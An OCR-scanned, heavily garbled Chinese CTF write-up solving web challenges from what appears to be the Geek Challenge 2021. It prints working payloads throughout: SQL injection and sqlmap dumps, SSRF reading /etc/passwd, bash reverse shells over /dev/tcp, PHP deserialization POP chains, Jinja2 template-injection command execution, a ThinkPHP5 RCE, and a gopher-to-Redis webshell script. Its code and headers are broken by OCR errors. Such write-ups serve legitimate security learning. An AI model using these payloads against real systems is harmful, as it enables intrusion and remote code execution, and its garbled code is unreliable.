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FIKER 2lflag

WELCCOME /fllllaaaggg®.php HTTR/L1.1 " HTTF/1.1 204 No Content

Host: 1.14.10Z2.Z2Z:8011 o Date: Fri, 15 Oct Z0Z1 03:29:08 GHMT
User—Agent: Mozilla/5.0 (Windows NT 10.0; Wingé4; x€4; rv:52.0) Server: Apaches/2.4.38 (Debian
Gecko/20100101 Firefox/92.0 ¥-Powered-By: PHF/7.2.34

Aocept: Welcome Flag: SYC{WeLcom3_t0_Geek Zoll!!}
text/html, application/xhtml+xml, application/xml;q=0.9, images/wehp Connection: close

SRS rg=0.8

Aoccept-Language:

zh-CIM, zh; q=0.8, zh-TW; q=0.7, eh-HE; q=0.5,en-US; gq=0.3,en; q=0.2
Lecept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure—-Regquests: 1

Cache-Control: max—age=q
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babysql

#E: babysql

uname=-1' union select database(),2,3,4#&pwd=1

BR: jeff,jeffjokes

uname=-1' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=database

()%23&pwd=1
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jeff

uname,pwd,zzzz,uselesss

uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table name="jeff"%2

3&pwd=1

jeffiokes

id,english,chinese,misc,useless

uname=-1' union select group_concat(column_name),2,3,4 from information_schema.columns where table_name="jeffjok

es"%23&pwd=1

BEHE:

WA & tiflag

uname=-1' union select group_concat(chinese),2,3,4 from jeffjokes#&pwd=1
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ps: sbT, HREEET

python2 sqlmap.py -r 1.txt -D flag -T fllag -C "fllllllag" --dump

babyphp
robots.txt, 5%

noobcurl.php

BEA



php
function ssrf me($url){

$ch = curl init();

curl setopt($ch, CURLOPT_URL, $url);
curl setopt($ch, CURLOPT RETURNTRANSFER,
$output = curl exec($ch);

curl close($ch);

echo $output;

if(isset($_GET[ )1

ssrf_me($_GET][ 1);

1
J

else{
highlight file(__ FILE_ );

echo

% gssif
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); Fikk[El &

Falitfile il

file:///etc/passwd
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where_is_my_ FUMO

php
function chijou_kega no_junnka($str) {
$black list [ 5 ) ) 5 5
return str_replace($black_list, , $str);

if (isset($_GET[ 1)) {

$data = $_GET[ 1;

$addr = chijou_kega no_junnka($data[ 1;

$port = chijou_kega no_junnka($data[ 1;

IEA $addr/$port )
t else {

highlight file(__ FILE_ );

R #shelli® H

bash -c "bash -i < /dev/tcp/addr/port"

H— A R



a=requests.get(url=url,params=params, headers=headers)

print(a.text)

RIBERIN R, ERLERTHS, MizH THAT R EE [ BB R &

B2 R EBATH F XA a5 A\ B shell7ESEHL_E BT — IR R 3 shell 3 1 T B ?

bash -i >& /dev/tcp/ip/39542 0>&1

He—Am DT, AZhE Elshell

-datalc05e6£3£719d:/5

R iflagfEAR B A B A
BT

cat flag.png > /tmp/zz.txt|base64

cat zz.txt | tr "\n" "}"> 11.txt
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php

class a {
public static $Do_u like JiaRan false;
public static $Do_u like AFKL false;

class b {
private $i want 2 listen_2 MaoZhongDu;
public function _ toString()
{
if (a::$Do_u like AFKL) {
return exec($this->i_want_2_listen_2 MaoZhongDu);
} else {

throw new Error(

class c {
public function __ wakeup()

{

a::$Do_u_like JiaRan = true;

class d {
public function __invoke()
{
a::$Do_u_like AFKL true;
return $this->value;

class e {
public function _ destruct()
{
if (a::$Do_u_like_JiaRan) {
($this->afkl)();
} else {

throw new Error(

if (isset($_GET[ 1) A

unserialize(base64 decode($_GET[ 1));
} else {

highlight file(_ FILE_ );

toString: 24 2 BT AF 5 B AR RIS 7 v

invoke(): VA B 77 U B — A% ST R [R] R v
wakeup: #iTunserialize ()i, SE&iAHXA RS
destruct: JEHIHTHE
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static $Do_u like JiaRan
static $Do_u like AFKL = false;

$i want 2 listen 2 MaoZhongDu;
function __ toString()

(a::$Do_u_like AFKL) {

return
} else {

throw new Error(

class c {
public $aaa;
public function _ wakeup()

{

a::$Do_u_like JiaRan = true;

class d {
public function __invoke()

{

a::$Do_u_like AFKL = true;
return $this->value;

class e {
public function __ destruct()
{
if (a::$Do_u_like JiaRan) {
$this->afkl();
} else {
throw new Error(

new c;
new e;
new d;

new b;

i want_2 listen_2_ MaoZhongDu

value $b;
afkl $d;
aaa $e;
echo base64 encode(serialize($c));




e #ishellt BARBEIEH AL H, (HRFHBEMR

cannot set terminal process group (-1): Inappropriate ioctl for device
no job control in this shell

A B JR A

That error message likely means shell is probably calling tcsetpgrp() and getting back errno=ENOTTY. That can ha
ppen if the shell process does not have a controlling terminal. The kernel doesn't set that up before running in
it on /dev/console.

The solution: use a real terminal device like /dev/tty@.

givemeyourlove

<?php

highlight file(__ FILE_ );

$ch = curl init();

Surl=$ GET[ 1;

if(preg_match( ,url))
{

echo

CURLOPT_URL, $url);
CURLOPT_HEADER, 0);

RRITH WiEredis

from urllib.parse import quote
from urllib.request import Request, urlopen

def get password():
f (
return f.readlines()

encoder_url(cmd):

urlencoder = quote(cmd).replace(
return urlencoder

password in get password():

path

shell

filename

cmd

password




payload url gopher encoder

print(payload)

request Request(payload)

response urlopen(request).read().decode()
print( password)
print(

print(response)

if response.count(

print( password)

cmd

(password, path, filename, shell)

encoder = encoder_url(encoder_url(cmd))

payload url gopher + encoder

request = Request(payload)
print(payload)
response urlopen(request).read().decode()
print( response)
if response.count( ) 5:
print( )
exit()
else:

HANEA, 3 Ashell.php

ZIRPOSTHHE cmd=phpinfo()




REDIS00071 redis-ver3.2 11t redlﬁbmA@ucllmeﬂFuoaﬂusedmemAB%.iﬂlesﬂ%

System Linux 1d5.4.077 5-Ubuntu SMP Thu Jun 17 02:35:03 UTC
2021186_64

Build Date Jul 132015 21:05:33

Configure Command |"./configure’ —with-config-file-p. fith-config-fil dir=iL
Nocalletciphpicont.d" —with-apxs2' *~disable-cgi' —enable-mysqind’ —with-curf —with-
openssl —with-pcre’ —with-readline’ —with-recode’ —with-zlip*

Server APl Apache 2.0 Handler

Virtual Directory | disabled

Support

Configuration File | fusr/localietciphp

{php.ini) Path

Loaded (none)

Configuration File

Scan this dir for
additional .ini files

lustllocalietciphplcont.d

Additional .ni files | (none)
parsed

PHP API 20100412
PHP Extension 20100525

Zend Extension

220100525

Zend Extension Build

API220100525,NTS

PHP Extension Build | API20100525NTS
Debug Build no

Thread Safety disabled

Zend Signal Handling | disabled

Zend Memory enabled
Manager

AEE, WHEAMRD, WOEE, fagfElHx
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https://www.freebuf.com/articles/web/263556.html

https://blog.csdn.net/qq_43665434/article/details/115414738

https://xz.aliyun.com/t/5665#toc-4
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[]

if i
result i
allList.append(result)
result

elif i
continue

else:

result

k, v in (allList):
if in v:
print( (k)

B LA¥ & payoad

error_reporting(0);
$temp = $ GET[ 15
is_numeric($temp)?die(
if($temp>1336)
echo file_get contents(
echo

s
highlight_file(_ FILE_ );

ﬁg_‘iﬁz ggthiﬁ

?password=10000a

327N baby_magic.php




php
error_reporting(9);

$flag=getenv( )
if (isset($ GET[ 1) and isset($ GET[
{
if ($_GET[ $_GET[ 1)
echo
else if (shal($_GET[ D) shal($ GET[
die( $flag);
else
echo
)i
else
echo
highlight file(_ FILE_ );

B Hdlsid

?name[ ]=1&password[]=2

#2£7R baby_revenge.php

<?php
error_reporting(0);

[ 1) and isset($_GET][

if ($_GET[ $_GET[ D)
echo
else if(is_array($_GET[ 1D is_array($_GET[
die(
else if (shal($_GET[ D) shal($_GET[
echo
die( $flag
bj

else

highlight_file(_ FILE_ );

FB=F: B Fshat Bk, FFHshathliiE, & ANPASHAVEHR ETA—FEKpdfc 4

?name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%200bj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%20
0%20R/Subtype’205%200%20R/Filter%206%200%20R/ColorSpace’%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3
E%OAstream%OA%FF%D8%F F%FE%00%24SHA-1%201is%20dead%21%21%21%21%21%85/ %EC%09%239u%9Co%B1%A1%C6%3CL%O7%E1%F F%FE%01%7
FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%OBE%CAg%D6%88%C7%F8K%BCLY%1F%EQ%2B%3D%F6%14%F8m%B11i%09%01%C5kE%C1S%OA%FE
DF %B7%608%E9rr/%E7%ADr%8F %0E I%0A%EOF %C20W%OF %E9%DA%13%98%ABKEL . %F5%BC%94%2B%E35B%AA%80 - %98%B5%D7%0OF %2A3 . %C3%7F%
AC5%14%E7M%DC%OF%2C%C1%A8t%CD%OCXx0Z%21Vda0%97%89%60k%DO%BF%3F%98%CD%A8%0AF%29%A1&password=%25PDF -1. 3%0A%25%E 2%E 3
%CF%D3%0A%0A%OA1%200%200bj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/F i
1ter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%OAstream%0A%FF%D8%F FJ%FE%00,
%524SHA-1%2015%20dead%21%21%21%21%21%85 / %EC%09%239u%9CO%B1%A1%C6%3CL%O7%E1%FF%FE%O1sF%DC%91f%B6%7E%11%8F%02%9A%B6
%521 %B2V%0OF %F 9%CAg%CCHAB%CT%F 8%5B%A8BLY%03%0C%2B%3D%E 2%18%F 8m%B3%A9%09%01%D5%DF E%C10%26%FE%DF%B3%DC8%E9j%C2/%E7%BD
r%8F%OEE%BCXEOF%D2%3CW%OF %EB%14%13%98%BBU . %F5%A0%A8%2B%E31%FE%AA%807%B8%B5%D7%1F%0OE3 . %DF%93%AC5%00%EBM%DC%OD%EC|
C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%DOk%DO%AF%3F%98%CD%AA%BCF%29%B1




##7~: here_s the flag.php

)5
,$_GET[ 1) {
)5

urldecode($ GET[ 1);
)

$flag

highlight file(_ FILE_);

strstr() R BR R TR B LR —FRFEPHE K.
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function makeSign(params, secret){
var ksort = Object.keys(params).sort();
var str 5
for(var ki in ksort){
str ksort[ki] params[ksort[ki]]

}

str secret;
var token = hex_md5(str).toUpperCase();
return rsa_sign(token);

function rsa_sign(token){
var pubkey
pubkey
pubkey
pubkey
pubkey
pubkey




var encrypt new JSEncrypt();
encrypt.setPublicKey(pubkey);

return encrypt.encrypt(token);

function get time(){
new Date();
var time d.getTime()/1000;

return parseInt(time);

).click(function(){

var params {};

console.log(123);

params.id $(this).attr( );
params.timestamp = get_time();
params.fake_flag
params.sign = makeSign(params, secret);
$.ajax({
url
data params,
type s
success:function(msg){
$( ).html(msg);
alert(msg);
¥

async:false

RFERE, Hpkidtm® 7, Frl =W iwmjsdtidh9, Bl
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BT, 83 —8jsfuck, ZBiEHEHHEIR

babyxss

script

function check(input

input

script

G TS, RIILIE T alertHinputh A5 5EZE.

payload:

input.replace(/alert/

return

);\uee6eller

HEHESS, FHE X ERIER T unicode4il.
ARZREK

BFAEREBNE /fail.php , RN IEFIIKS %D

POST /check. php HTTP/1.1

Host: 106.55.154.252: 2019

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4, =64; v 93.0)
Geclko/20100101 Firefox/93.0

Accept:

text/htnl, application/zhtnl+xnl, application/=znl; q=0. 9, inage/avif, inage/we
bp, #/#%;q=0. 8

Accept-Language:

zh—CN, zh;g=0. 8, zh-IW; g=0. 7, zh-HE ; g=0. 5, en-U3; g=0. 3, en; g=0. 2
Aecept-Encoding: gzip, deflate

Content—Type: application/z-www—form—urlencoded

Content—Length: 40

Origin: http://106.55. 154, 252: 2018

Comnection: close

Referer
Cookie: x=104. 072747 .
Upgrade-Insecure-Requests: 1

T

username=1livhokpassword=renminyishujia

KIE—BHIWT, HIRRFTE22019FKEH 7

Encoded

eyJhbGci0iJIUzITNiIsInR5cCI6IkpXVCIG. ey
JBaW11IjoiMjAyMSTIsIm5hbWUi0iJmYWt1X2Fkb
WluIn®.rclssTrPKaSGoIPJZBRxKIb1h_DDTtxz
HQIQBV1bj7g

HITF/1.1 200 OK

Date: Fri, 22 Oct 2021 15:13:16 GHMIT

Server: Apache/2.4.38 (Debian)

X-Powered-By: PHF/7.1.33

JWT:

evThbGei0iJIUzTI1NiIsInREcCIEILpXVC] 9. exT0aW11ljoil Ay ME IsInbhbWUi01 TuY Wt 1X 2Fkb¥lulnl. relssIrP
EaSGoIPJI0RxEIb1h_DDTtxzHAIQOV1bL]Te

Vary: Accept-Encoding

Content—Length: 99

Commection: close

Content—Type: text/htnl: charset=UIF-8

<seript> alert (" fiEEEIA! AR adnin’) ;parent. location. href="fail. php’ ;
fscript>

Decoded

HEADER: ALGORITHM & TOKE? E
{
"alg": "HS256",
"typ": "JWT"
¥
PAYLOAD: DA
{
time"”: "2821",
name”: "fake_admin’
¥
VERIFY SIGNATURE

HMACSHAZ 56 (

o

aseb4Ur1Encode(header) + °
base64Ur1Encode(payload),
your-256-bit-secret

) [ secret base64 encoded

L




i E s time ~2019, nameadmin

{5 Fjwicrack 21 — T %47

er#f docker run -it —rm jwtcr

lssTrP

oIP KIblh_DDT

eyJhbGci0iJIUzIINIISInRSc

Hiiheader’IJWT

POST /check.php HTTP/1.1

Host: 106.55.154.252: 2019

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4, =64; v 93.0)
Gecko/20100101 Firefox/93.0

Accept:

text/html, application/shtnl+znl, application/znl;q=0. 9, inage/avif, inage/we
bp, #/#*;q=0.8

Accept-Language:

zh—CN, zh;g=0. 8, zh-IW; g=0. 7, zh-HE ; g=0. 5, en-U3; g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate

Content-Type: application/z—www—form—urlencoded

Conmtent-Length: 40

Origin: http://106. 55. 154. 252: 2019

Comection: close

Referer: http://106.55.154.252: 2019/fa1l. php

Cockie: x=104. 07274727 . 57889372

Upgrade-Insecure-Requests: 1

JWT:

eyThbGei0iJ IUzT1Ni IsInREcCIGTkpEVCT 9. ev]0aW11l joiljAx05IsInShbWIi01iJThIGlp
biJ 9. WInN2vLaVeNMMsfu—6—folU0ZBtrVIL12Rs?_gGdBIdk

username=liubokpassword=renninyishujia

5 2lflag
5% S
Thinkphp5

BAE s S Hon A HRAIK — 1K

http://106.55.154.252:500/public/?s=1

e

HITP/1.1 200 OK

Date: Fri, 22 Oct 2021 15:38:16 GMI
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHF/7.1.33
Content—Length: 53

Commection: close

Content—Type: text/htnl: charset=UIF-8

FEEEEEFFEEEfEEEfffefffffffffEffflaggggudB821347981. phpl

e

RIFFJE T debugti =X, hiA<45.0.12

?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

-/ pocill ik — Fphpinfo, & Fldisable functions, EAr4HATREHTIE T

d1l,exec,system,passthru,popen,proc_open,pcntl_exec,shell exec,mail,imap_open,imap_mail,putenv,ini_set,apache_set

env,symlink,link,ini_set,chdir

M) A [B] 8 B Bk AT SRR R

??s=index/\think\app/invokefunction&function=call_user_func_array&vars[@]=file get contents&vars[1][]=/flag

BT wpli k-

Al L@ idlog H £k A& getshell

BRI E AR A EER/202110/11.log S04 LLES N B B i H B 88 B ER

B2 AT AT LARRE H &

JEANVBRBEN5H I &K IE 5 Hshell



Al L g shelliflag T
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php

class fxxk{
public
public
public
public

public $kelasi;

public function _ construct($pare,$pari,$par2,$par3){
$this pare $pare;
$this parl $pari;
$this par2 $par2;
$this par3 $par3;
)i
public function newOne(){
$this kelasi new $this pare($this parl, $this par2);

public function wuhu(){
echo( $this kelasi

public function gifei(){
$this kelasi juts_a_function();

public function _ destruct(){
if(!empty($this pare) (isset($this parl) isset($this par2))){
$this newOne();
if($this par3 ){
$this gifei();
)i
else{
$this wuhu();

public function _ wakeup(){
@include_once($this par2

s

highlight file(__ FILE_ );
$hack = $_GET[ 15
unserialize($hack);

F—P: phphthilizEhint
php://filter/read=convert.base64-encode/resource=

72




= 'HEHE RN T Epost— NS Hmessage (B IFfl, "iwantflag") M H—ASH, url CESHEZXANurl KiE—Aflag';
VR T ELE AT H R — MRS R R
.= MERRAME (REBARN) XRAHMEERTHMLR, ERMHEERRGEMNL27.0.0.1%07H, REENMEEREE Gl

i Fl php JR 4= 2% 4T ssrf A % &7 B 3¢

HeREE R UH, ff FFilesystemiteratorZg

public $pare
public $paril
public $par2 = null;
public $par3

public $kelasi;

echo serialize(new fxxk);

BEEHEATEMIE 2 FH A L Tssf T, ¥/ SoapClient X317 SSRF, {HRXBEEIT—/POSTIER, FLLERERHXE
HTTPL#HFEK —ANCRLFIFIH, HAEBRIHTTIPL, Content-Type KM{EZE R E N application/x-www-form-urlencoded , i&
FEBNA T FEA K Content-Type K18, BT Content-Type 7£ User-Agent i) F i, FrLARAIA LLEE SoapClient ki & User-
Agent, K JEKH Content-Type H T2, MiMHE#HEA—AHH Content-Type . 7 B ) Content-Typei% {8 SZhr I # /A B — T

public
public
public

public
public $kelasi;

$b serialize(new fxxk);
$b = str_replace( 5 ,$b);
echo urlencode($b);

XEBEBATRRZ \r\n T3 5iEE PARLHEE LT httpkil &2/ \r H3k S Bbad request

easyPOP




php
class a {
public function _ destruct()

{
$this->test->test();

abstract class b {
private $b g

abstract protected function eval();

public function test() {
($this->b)();

class c extends b {
private $call;

protected $value;

protected function eval() {
if (is_array($this->value)) {
($this->call) ($this->value);
} else {
die( )§

class d {
public $value;

public function eval($call) {
$call($this->value);

if (isset($_GET[ 1)) {
unserialize(base64 decode($_GET[
} else {
highlight file(_ FILE_ );

H3E 33 72 H Htricks
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php

class a

{
public $test;

abstract class b

{
private $b;

public function _ construct()

{
$this->b = [$this, 1;

class c extends b

{
private $call;

protected $value;

public function _ construct()

{

parent:: construct();
$this->call [new d(
$this->value [new d(

class d

{

public $value;

public function __ construct($command)

{

$this->value $command;

public function eval($call)

{
$call($this->value);

$a new a();

$a->test new c();

echo serialize($a);

print( )

echo base64_encode(serialize($a));




import re

from flask import Flask, render_template, render_template_ string, request
app Flask(__name_ )

def islLegalParam(param):

return (re.search( , param, re.M|re.S) is None)

@app.route(
def main():

return render_template(

@app.route(
def calc():
formula request.args.get( )
answer request.args.get( )
if islLegalParam(formula) and isLegalParam(answer):
answerHtml formula answer
else:
answerHtml
return render_template_string(answerHtml)

@app.route(

def hint():
with (__file_ ,
f.read()

return

if _ _name__

app.run(host

WIET —HE
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function getAnswer() {
let src
let formula = document.getElementById( ).value;
try {
let answer eval(formula);
if (Number.isInteger(answer)) {
src encodeURIComponent (formula) encodeURIComponent(answer);
} else {
src encodeURIComponent (formula)
)i
} catch {
src encodeURIComponent (formula)

)i
document.getElementById( ).src S gle
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http://easypy/calc?calc= {{(1=8answer=1)|attr(request.args.class)|attr(request.args.mro)|attr(request.arg s.geti
tem) (2) |attr(request.args.subclasses)()|attr(request.args.getitem) (133)|attr(request.args.init)|attr(request.ar
gs.globals) |attr(request.args.getit em)(request.args.popen)(request.args.data)|attr(request.args.read) ()}}&clas
s=_class__&mro=__mro__ &getitem=__getitem_&subclasses=_subclasses &i nit=__init &globals=_globals_&popen=p|

open&data=cat+/flag&read=read
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/debug.php?file=php://filter/read=convert.base64-encode/resource=index.php

curl init();
curl setopt($ch, CURLOPT_URL, $ GET[ D;

curl_setopt($ch, CURLOPT_HEADER, ©);

B ERSSRF, H—THMEN
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import urllib.parse
test =\

tmp = urllib.parse.quote(test)
tmp.replace( 5

CE St

?url=gopher://172.17.0.7:80/_%50%4f%53%54%25%32%30%21%69%6e%64%65%78%2e%70%68%70%25%32%30%A8%54%54%50%21%31%2e%3
1%25%30%44%25%30%41%A8%61%73%74%25%33%A41%25%32%30%31%37%32%2e%31%37%2e€%30%2e%37%25%33%A41%38%30%25%30%44%25%30%41
%643%61%6e%74%65%6e%74%2d%54%79%70%65%25%33%A41%25%32%30%61%70%70%6 C%69%6 3%61%74%69%6 T%6€%21%78%2d%77%77%77%2d%66%
617%72%6d%2d%75%72%6C%65%6e%63%6T%64%65%64%25%30%A4%25%30%A41%43%6T%6e%74%65%6e%74%2d%AC%65%6€%67%74%68%25%33%41%2
5%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%A41%6e%61%6d%65%25%33%44%61%64%6d%69%6€%25%32%36%70%61%7 3%7 3%77%6 1
67 2%64%25%33%A44%31%32%33%34%35%36%25%32%36%72%65%73%75%6C%74%25%33%AA4%36%30%25%30%44%25%30%41




gopher://172.17.0.7:80/_ P0ST%2520/index.php%2520HTTP/1.1%250d%250AHost:172.17.0. 7%250d%250AContent-Type:applica
tion/Xx-www-form-urlencoded%250d%250AContent- Length:36%250d%250A%250d%250Aname=admin%26password=123456%26result=

60%250d7%250A

anothersql

fuzz—F, AREENAKKEARYLIE T, EiEHfoorfkRHEN, WATLIEEREE

import requests

for i in (1,40):
for j in (33,126):
strl = flag (3)

payload
(i, stril)

r requests.post(url, data payload, headers=headers)

if in r.text:

flag (3)
print(flag.lower())

break

FJa iR
easysql
noobPHP
easyGO
breakout

validation
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https://blog.csdn.net/weixin_43610673/article/details/1214269517
ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163793652716780274159451%2522%252C%2522sc
mM%2522%253A%252220140713.130102334.pc%255F all.%2522%257D&request_id=163793652716780274159451&biz_id=
0&utm_medium=distribute.pc_search_result.none-task-blog-2first_rank_ecpm_v1~rank_v31_ecpm-5-

121426951 first_rank_v2_pc_rank_v29&utm_term=%E6%9E %81%E5%AE%A2%E5%A4%A7 %E6%8C %91%E6%88%98202
Tweb&spm=1018.2226.3001.4187
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